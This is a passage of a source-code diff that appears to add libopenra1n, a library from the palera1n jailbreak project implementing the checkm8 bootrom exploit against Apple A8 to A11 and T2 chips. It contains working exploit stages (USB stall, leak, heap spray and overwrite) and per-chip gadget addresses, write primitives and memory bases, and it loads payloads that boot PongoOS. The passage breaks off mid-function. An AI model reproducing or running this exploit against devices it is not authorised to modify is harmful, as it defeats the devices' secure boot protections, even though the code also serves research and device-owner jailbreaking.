+#ifndef __APPLE__
+
+#ifndef LIBOPENRA1N__LIBUSB_BACKEND_H
+#define LIBOPENRA1N__LIBUSB_BACKEND_H
+
+#include <stdbool.h>
+#include <libusb-1.0/libusb.h>
+
+#define USB_TIMEOUT (5)
+
+enum usb_transfer {
+    USB_TRANSFER_OK,
+    USB_TRANSFER_ERROR,
+    USB_TRANSFER_STALL,
+};
+
+typedef struct {
+    enum usb_transfer ret;
+    uint32_t sz;
+} transfer_ret_t;
+
+typedef struct {
+    uint16_t vid, pid;
+    struct libusb_device_handle *device;
+} usb_handle_t;
+
+void close_usb_handle(usb_handle_t *handle);
+void reset_usb_handle(const usb_handle_t *handle);
+bool wait_usb_handle(usb_handle_t *handle);
+void usb_async_cb(struct libusb_transfer *transfer);
+transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
+transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
+transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
+transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
+void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
+
+#endif // LIBOPENRA1N__LIBUSB_BACKEND_H
+
+#endif // __APPLE__

1stparty/libopenra1n/include/utils.h

@@ -0,0 +1,63 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef LIBOPENRA1N__UTILS_H
+#define LIBOPENRA1N__UTILS_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#define RESET_COLOR   "\033[0m"
+#define RED_COLOR     "\033[31m"
+#define GREEN_COLOR   "\033[32m"
+#define YELLOW_COLOR  "\033[33m"
+#define BLUE_COLOR    "\033[34m"
+#define MAGENTA_COLOR "\033[35m"
+#define CYAN_COLOR    "\033[36m"
+#define WHITE_COLOR   "\033[37m"
+#define GRAY_COLOR    "\033[90m"
+
+extern uint8_t gDebugLevel;
+extern bool gSilentLogs;
+extern bool gColoredLogs;
+
+typedef enum {
+    LOG_INFO,
+    LOG_ERROR,
+    LOG_VERBOSE
+} log_level_t;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...);
+
+#ifdef __cplusplus
+}
+#endif
+
+#define LOG(fmt, ...)           log_write_internal(LOG_INFO, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
+#define LOG_ERROR(fmt, ...)     log_write_internal(LOG_ERROR, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
+#define LOG_DEBUG(fmt, ...)     log_write_internal(LOG_VERBOSE, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
+
+void sleep_ms(unsigned ms);
+
+#endif // LIBOPENRA1N__UTILS_H

1stparty/libopenra1n/payloads/LICENSE

@@ -0,0 +1,21 @@
+Copyright (c) checkra1n team. All rights reserved.
+
+* This component is used under the following conditions:
+* 1. NON-AFFILIATION & ATTRIBUTION:
+Any product or project utilizing this code must clearly state that
+the resulting work was NOT developed by the checkra1n team.
+The checkra1n team is the original author of this specific component,
+but they do not endorse, support, or take responsibility for this implementation.
+
+2. MIT LICENSE & DISCLAIMER:
+Subject to the condition above, this code is provided under the MIT License.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+The binary containing this shellcode is available from the following link: https://checkra.in/1337
+

1stparty/libopenra1n/src/checkm8.c

@@ -0,0 +1,375 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <checkm8.h>
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <stddef.h>
+#include <string.h>
+
+#include <payload.h>
+#include <dfu.h>
+#include <stage1.h>
+#include <utils.h>
+#include <shim.h>
+#include <gen/payloads/lz4dec.h>
+
+#include <lz4/lz4.h>
+#include <lz4/lz4hc.h>
+
+static struct {
+    uint8_t b_len, b_descriptor_type;
+    uint16_t bcd_usb;
+    uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
+    uint16_t id_vendor, id_product, bcd_device;
+    uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
+} device_descriptor;
+
+static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state)
+{
+    struct {
+        uint8_t status, poll_timeout[3], state, str_idx;
+    } dfu_status;
+
+    transfer_ret_t result;
+
+    result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status));
+
+    return result.ret == USB_TRANSFER_OK
+        && result.sz == sizeof(dfu_status)
+        && dfu_status.status == status
+        && dfu_status.state == state;
+}
+
+static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
+{
+    transfer_ret_t result;
+
+    result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0);
+
+    return result.ret == USB_TRANSFER_OK
+        && result.sz == 0
+        && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
+        && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
+        && dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
+}
+
+checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle)
+{
+    LOG("checkm8 reset stage");
+
+    transfer_ret_t result;
+
+    result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN);
+    if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN)
+        goto fail;
+
+    if (!dfu_set_state_wait_reset(handle))
+        goto fail;
+
+    result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
+    if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ)
+        goto fail;
+
+    return CHECKM8_ERR_NONE;
+
+fail:
+    send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
+
+    return CHECKM8_ERR_TRANSFER_FAILED;
+}
+
+checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig)
+{
+    LOG("checkm8 setup stage");
+
+    unsigned usb_abort_timeout = USB_TIMEOUT - 1;
+    transfer_ret_t result;
+
+    for (;;) {
+        result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout);
+
+        if (result.sz < deviceConfig->config_overwrite_pad) {
+            result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz);
+
+            if (result.ret == USB_TRANSFER_STALL)
+                return CHECKM8_ERR_NONE;
+        }
+
+        send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
+        usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
+    }
+
+    return CHECKM8_ERR_TRANSFER_FAILED;
+}
+
+static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
+    transfer_ret_t result;
+
+    result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1);
+    return result.sz == 0;
+}
+
+static void checkm8_stall(const usb_handle_t *handle)
+{
+    unsigned usb_abort_timeout = USB_TIMEOUT - 1;
+    transfer_ret_t result;
+
+    for (;;) {
+        result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout);
+
+        if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle))
+            break;
+
+        usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
+    }
+}
+
+static bool checkm8_no_leak(const usb_handle_t *handle)
+{
+    transfer_ret_t result;
+
+    result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1);
+
+    return result.sz == 0;
+}
+
+static bool checkm8_usb_request_stall(const usb_handle_t *handle)
+{
+    transfer_ret_t result;
+
+    result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
+
+    return result.ret == USB_TRANSFER_STALL;
+}
+
+char *get_usb_serial_number(usb_handle_t *handle)
+{
+    transfer_ret_t result;
+    uint8_t buf[UINT8_MAX];
+    char *str = NULL;
+    size_t i, sz;
+
+    result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor));
+
+    if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor))
+        return NULL;
+
+    result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf));
+
+    if (result.ret != USB_TRANSFER_OK || result.sz != buf[0])
+        return NULL;
+
+    sz = buf[0] / 2;
+    if (sz == 0)
+        return NULL;
+
+    str = malloc(sz);
+    if (str == NULL)
+        return NULL;
+
+    for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)];
+
+    str[sz - 1] = '\0';
+
+    return str;
+}
+
+checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
+    LOG("checkm8 trigger stage");
+
+    size_t i;
+    transfer_ret_t result;
+
+    if(deviceConfig->config_large_leak == 0) {
+        if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
+            while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
+        } else {
+            checkm8_stall(handle);
+            for(i = 0; i < deviceConfig->config_hole; ++i) {
+                while(!checkm8_no_leak(handle)) {}
+            }
+            while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
+        }
+        send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1);
+    } else {
+        for(i = 0; i < deviceConfig->config_large_leak; ++i) {
+            while(!checkm8_usb_request_stall(handle)) {}
+        }
+        send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
+    }
+
+    return CHECKM8_ERR_NONE;
+}
+
+checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
+    LOG("checkm8 patch stage");
+
+    size_t i, data_sz, packet_sz;
+    void *data;
+    transfer_ret_t result;
+    bool ret = false;
+
+    const uint8_t *checkra1n_payload = NULL;
+    void *overwrite = NULL;
+    size_t checkra1n_payload_sz = 0;
+    size_t overwrite_sz = 0;
+
+    checkm8_overwrite_t checkm8_overwrite;
+    memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
+    checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
+    overwrite = &checkm8_overwrite;
+    overwrite_sz = sizeof(checkm8_overwrite);
+
+    ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
+    if (!ret) return CHECKM8_ERR_UNSUPPORTED;
+
+    ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
+    if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD;
+
+    if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
+        LOG_DEBUG("successfully leaked data");
+    } else {
+        LOG_ERROR("failed to leak data");
+        return CHECKM8_ERR_TRANSFER_FAILED;
+    }
+
+    for (i = 0; i < 2; i++) {
+        LOG_DEBUG("i = %zu", i);
+        result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
+    }
+
+    if (overwrite != NULL) {
+        result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz);
+        if (result.ret != USB_TRANSFER_STALL) {
+            LOG_ERROR("failed to send overwrite data");
+            return CHECKM8_ERR_TRANSFER_FAILED;
+        }
+
+        for (i = 0; ret && i < data_sz; i += packet_sz) {
+            packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
+
+            result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz);
+        }
+
+        result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
+    }
+
+    // todo: do something with the result
+
+    free(data);
+
+    return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED;
+}
+
+static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len)
+{
+    int src_size = (int)bin_len;
+    int max_size = LZ4_compressBound(src_size);
+
+    uint8_t *buf = malloc(max_size);
+    if (!buf)
+        return false;
+
+    int size = LZ4_compress_HC(
+        (const char *)bin,
+        (char *)buf,
+        src_size,
+        max_size,
+        LZ4HC_CLEVEL_MAX
+    );
+
+    if (size <= 0) {
+        free(buf);
+        return false;
+    }
+
+    *out = buf;
+    *out_len = (size_t)size;
+
+    return true;
+}
+
+#define SHELLCODE_SZ (512)
+
+bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len)
+{
+    size_t pongoSize;
+    uint8_t *pongo;
+
+    if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize))
+        return false;
+
+    LOG("Sending pongo image");
+
+    uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
+    if (!payload) {
+        free(pongo);
+        return false;
+    }
+
+    memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
+    memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
+
+    free(pongo);
+
+    pongo = payload;
+    pongoSize += SHELLCODE_SZ;
+
+    uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
+    *pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ);
+
+    *out = pongo;
+    *out_len = pongoSize;
+
+    return true;
+}
+
+checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len)
+{
+    transfer_ret_t result;
+
+    size_t len = 0;
+
+    while (len < pongo_bin_len) {
+        size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len);
+    retry:
+        result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk);
+
+        if (result.sz != chunk || result.ret != USB_TRANSFER_OK)
+        {
+            LOG_DEBUG("retrying at len = %zu", len);
+            sleep_ms(100);
+            goto retry;
+        }
+
+        len += chunk;
+        LOG_DEBUG("len = %zu", len);
+    }
+
+    result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
+    if (result.ret != USB_TRANSFER_OK)
+        return CHECKM8_ERR_TRANSFER_FAILED;
+
+    return CHECKM8_ERR_NONE;
+}

1stparty/libopenra1n/src/dfu.c

@@ -0,0 +1,60 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dfu.h>
+
+#include <stdlib.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+
+uint16_t dfu_serial_number_get_cpid(char *serial) {
+    char *cpid = strstr(serial, "CPID:");
+    if (cpid == NULL) { return -1; }
+    return strtol(cpid + 5, NULL, 16);
+}
+
+uint32_t dfu_serial_number_get_bdid(char *serial) {
+    char *bdid = strstr(serial, "BDID:");
+    if (bdid == NULL) { return -1; }
+    return strtoul(bdid + 5, NULL, 16);
+}
+
+uint64_t dfu_serial_number_get_ecid(char *serial) {
+    char *ecid = strstr(serial, "ECID:");
+    if (ecid == NULL) { return -1; }
+    return strtoull(ecid + 5, NULL, 16);
+}
+
+bool dfu_serial_number_is_in_dfu_mode(char *serial) {
+    char *DFU = strstr(serial, "SRTG");
+    return DFU != NULL;
+}
+
+bool dfu_serial_number_is_pwned(char *serial) {
+    char *pwnd = strstr(serial, "PWND:");
+    return pwnd != NULL;
+}
+
+bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
+    char *yolo = strstr(serial, "YOLO");
+    return yolo != NULL;
+}

1stparty/libopenra1n/src/lz4/lz4.c

@@ -2761,4 +2761,4 @@ char* LZ4_slideInputBuffer (void* state)
     return (char *)(uptrval)((LZ4_stream_t*)state)->internal_donotuse.dictionary;
 }
 
-#endif   /* LZ4_COMMONDEFS_ONLY */
+#endif   /* LZ4_COMMONDEFS_ONLY */

1stparty/libopenra1n/src/lz4/lz4hc.c

@@ -1634,4 +1634,4 @@ _return_label:
      FREEMEM(opt);
 #endif
      return retval;
-}
+}

1stparty/libopenra1n/src/payload.c

@@ -0,0 +1,238 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (c) 2026 palera1n team
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <payload.h>
+
+#include <stdbool.h>
+#include <stdint.h>
+
+#include <utils.h>
+
+#include <gen/payloads/yolo_s8000.h>
+#include <gen/payloads/yolo_s8001.h>
+#include <gen/payloads/yolo_s8003.h>
+#include <gen/payloads/yolo_t7000.h>
+#include <gen/payloads/yolo_t7001.h>
+#include <gen/payloads/yolo_t8010.h>
+#include <gen/payloads/yolo_t8011.h>
+#include <gen/payloads/yolo_t8012.h>
+#include <gen/payloads/yolo_t8015.h>
+
+bool checkm8_find_device_configuration_for_cpid(
+    uint16_t cpid,
+    struct DeviceConfiguration *config)
+{
+    bool foundMatchingConfiguration = true;
+    switch (cpid) {
+        case A11:
+        case T2:
+        case A10X:
+            config->cpid = cpid;
+            config->config_large_leak = 0;
+            config->config_overwrite_pad = 0x540;
+            config->config_hole = 6;
+            break;
+        case A10:
+            config->cpid = cpid;
+            config->config_large_leak = 0;
+            config->config_overwrite_pad = 0x5C0;
+            config->config_hole = 5;
+            break;
+        case A9X:
+            config->cpid = cpid;
+            config->config_large_leak = 0;
+            config->config_overwrite_pad = 0x5C0;
+            config->config_hole = 6;
+            break;
+        case A9_TSMC:
+        case A9:
+        case A8X:
+        case A8:
+            config->cpid = cpid;
+            config->config_large_leak = 0;
+            config->config_overwrite_pad = 0x500;
+            config->config_hole = 0;
+            break;
+        default:
+            LOG_ERROR("CPID 0x%x is not supported!", cpid);
+            foundMatchingConfiguration = false;
+            break;
+    }
+    return foundMatchingConfiguration;
+}
+
+bool checkm8_find_payload_configuration_for_cpid(
+    uint16_t cpid,
+    struct PayloadConfiguration *config)
+{
+    bool foundMatchingConfiguration = true;
+    switch (cpid) {
+        case A11:
+            config->insecure_memory_base                = 0x18001C000;
+            config->func_gadget                         = 0x10000a998;
+            config->tlbi                                = 0x1000004AC;
+            config->write_prim                          = 0x100009c48;
+            config->arm_clean_invalidate_dcache_line    = 0x1000004e4;
+            config->arm_invalidate_icache               = 0x1000004c0;
+            config->enter_critical_section              = 0x10000f958;
+            config->exit_critical_section               = 0x10000f9a0;
+            config->write_ttbr0                         = 0x10000045c;
+            config->tlbi                                = 0x1000004ac;
+            config->TTBR0_PATCH_BASE                    = 0x180020000;
+            config->TTBR0_BASE                          = 0xc000;
+            config->bootstrap_task_lr                   = 0x180015f88;
+            config->payload_start_offset                = 0x800;
+            break;
+        case T2:
+            config->insecure_memory_base                = 0x18001C000;
+            config->func_gadget                         = 0x100008d8c;
+            config->write_prim                          = 0x100008058;
+            config->arm_clean_invalidate_dcache_line    = 0x1000004cc;
+            config->arm_invalidate_icache               = 0x1000004a8;
+            config->enter_critical_section              = 0x10000f9b8;
+            config->exit_critical_section               = 0x10000fa00;
+            config->write_ttbr0                         = 0x100000444;
+            config->tlbi                                = 0x100000494;
+            config->TTBR0_PATCH_BASE                    = 0x180020000;
+            config->TTBR0_BASE                          = 0xc000;
+            config->bootstrap_task_lr                   = 0x180015f78;
+            config->payload_start_offset                = 0x800;
+            break;
+        case A10X:
+            config->insecure_memory_base                = 0x1800B0000;
+            config->func_gadget                         = 0x10000cce4;
+            config->write_prim2                         = 0x100001804;
+            config->arm_clean_invalidate_dcache_line    = 0x10000047c;
+            config->arm_invalidate_icache               = 0x100000458;
+            config->enter_critical_section              = 0x10000a658;
+            config->exit_critical_section               = 0x10000a6a0;
+            config->write_ttbr0                         = 0x1000003F4;
+            config->tlbi                                = 0x100000444;
+            config->TTBR0_PATCH_BASE                    = 0x1800b4000;
+            config->TTBR0_BASE                          = 0xa0000;
+            config->bootstrap_task_lr                   = 0x1800a9f88;
+            config->payload_start_offset                = 0x800;
+            break;
+        case A10:
+            config->insecure_memory_base                = 0x1800B0000;
+            config->func_gadget                         = 0x10000cc44;
+            config->write_prim2                         = 0x100001808;
+            config->arm_clean_invalidate_dcache_line    = 0x10000046c;
+            config->arm_invalidate_icache               = 0x100000448;
+            config->enter_critical_section              = 0x10000A4B8;
+            config->exit_critical_section               = 0x10000A514;
+            config->write_ttbr0                         = 0x1000003E4;
+            config->tlbi                                = 0x100000434;
+            config->TTBR0_PATCH_BASE                    = 0x1800b4000;
+            config->TTBR0_BASE                          = 0xa0000;
+            config->bootstrap_task_lr                   = 0x1800a9f68;
+            config->payload_start_offset                = 0x800;
+            break;
+        case A9X:
+            config->insecure_memory_base                = 0x180000000;
+            config->func_gadget                         = 0x10000cd38;
+            config->write_prim2                         = 0x100001a78;
+            config->arm_clean_invalidate_dcache_line    = 0x10000043c;
+            config->arm_invalidate_icache               = 0x100000418;
+            config->enter_critical_section              = 0x100009b24;
+            config->exit_critical_section               = 0x100009b88;
+            config->write_ttbr0                         = 0x1000003b4;
+            config->tlbi                                = 0x100000404;
+            config->TTBR0_PATCH_BASE                    = 0x180004000;
+            config->TTBR0_BASE                          = 0x50000;
+            config->bootstrap_task_lr                   = 0x180059f58;
+            config->payload_start_offset                = 0x800;
+            break;
+        case A9:
+            config->insecure_memory_base                = 0x180380000;
+            config->func_gadget                         = 0x10000de0c;
+            config->write_prim2                         = 0x100001bc0;
+            config->arm_clean_invalidate_dcache_line    = 0x10000042c;
+            config->arm_invalidate_icache               = 0x100000408;
+            config->bootstrap_task_lr                   = 0x1800c2f58;
+            config->payload_start_offset                = 0xc0;
+            break;
+        case A9_TSMC:
+            config->insecure_memory_base                = 0x180380000;
+            config->func_gadget                         = 0x10000de0c;
+            config->write_prim2                         = 0x100001bc0;
+            config->arm_clean_invalidate_dcache_line    = 0x10000042c;
+            config->arm_invalidate_icache               = 0x100000408;
+            config->bootstrap_task_lr                   = 0x1800c2f58;
+            config->payload_start_offset                = 0xc0;
+            break;
+        case A8X:
+            config->insecure_memory_base                = 0x180380000;
+            config->func_gadget                         = 0x100010df4;
+            config->write_prim                          = 0x10000ed5c;
+            config->arm_clean_invalidate_dcache_line    = 0x100000448;
+            config->arm_invalidate_icache               = 0x100000424;
+            config->bootstrap_task_lr                   = 0x1800c2f68;
+            config->payload_start_offset                = 0xc0;
+            break;
+        case A8:
+            config->insecure_memory_base                = 0x180380000;
+            config->func_gadget                         = 0x10000ddf4;
+            config->write_prim                          = 0x10000bc2c;
+            config->arm_clean_invalidate_dcache_line    = 0x100000448;
+            config->arm_invalidate_icache               = 0x100000424;
+            config->bootstrap_task_lr                   = 0x1800c2f68;
+            config->payload_start_offset                = 0xc0;
+            break;
+        default:
+            LOG_ERROR("CPID 0x%x is not supported!", cpid);
+            foundMatchingConfiguration = false;
+    }
+    return foundMatchingConfiguration;
+}
+
+static const yolo_payload_t yolo_payloads[] = {
+    {A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
+    {T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
+    {A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
+    {A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
+    {A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
+    {A9X, payloads_yolo_s8001_bin, payloads_yolo_s8001_bin_len},
+    {A9, payloads_yolo_s8000_bin, payloads_yolo_s8000_bin_len},
+    {A8X, payloads_yolo_t7001_bin, payloads_yolo_t7001_bin_len},
+    {A8, payloads_yolo_t7000_bin, payloads_yolo_t7000_bin_len},
+};
+
+bool create_pongo_payload_for_device(
+    uint16_t cpid,
+    const uint8_t **payload,
+    size_t *payloadSize)
+{
+    LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid);
+
+    *payload = NULL;
+    *payloadSize = 0;
+
+    size_t count = sizeof(yolo_payloads) / sizeof(yolo_payloads[0]);
+
+    for (size_t i = 0; i < count; i++) {
+        if (yolo_payloads[i].cpid == cpid) {
+            *payload = yolo_payloads[i].data;
+            *payloadSize = yolo_payloads[i].len;
+            return true;
+        }
+    }
+
+    LOG("Failed to prepare payload for device with CPID 0x%x", cpid);
+    return false;
+}

1stparty/libopenra1n/src/shim.c

@@ -0,0 +1,62 @@
+/*
+ * palera1n - https://palera.in
+ *
+ * Copyright (C) 2023 0x7ff
+ * Copyright (C) 2023 Mineek
+ * Copyright (c) 2026 palera1n team
+ *
+ * SPDX-License-Identifier: Apache-2.0
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <shim.h>
+
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef __APPLE__
+# include <usb_iokit.h>
+#else
+# include <usb_libusb.h>
+#endif
+
+transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) {
+    transfer_ret_t result;
+    void *p_data;
+
+    if(w_len == 0) {
+        return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0);
+    } else if((p_data = malloc(w_len)) != NULL) {
+        memset(p_data, '\0', w_len);
+        result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len);
+        free(p_data);
+    }
+
+    return result;
+}
+
+transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) {
+    transfer_ret_t result;
+    void *p_data;
+
+    if(w_len == 0) {
+        return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout);
+    } else if((p_data = malloc(w_len)) != NULL) {
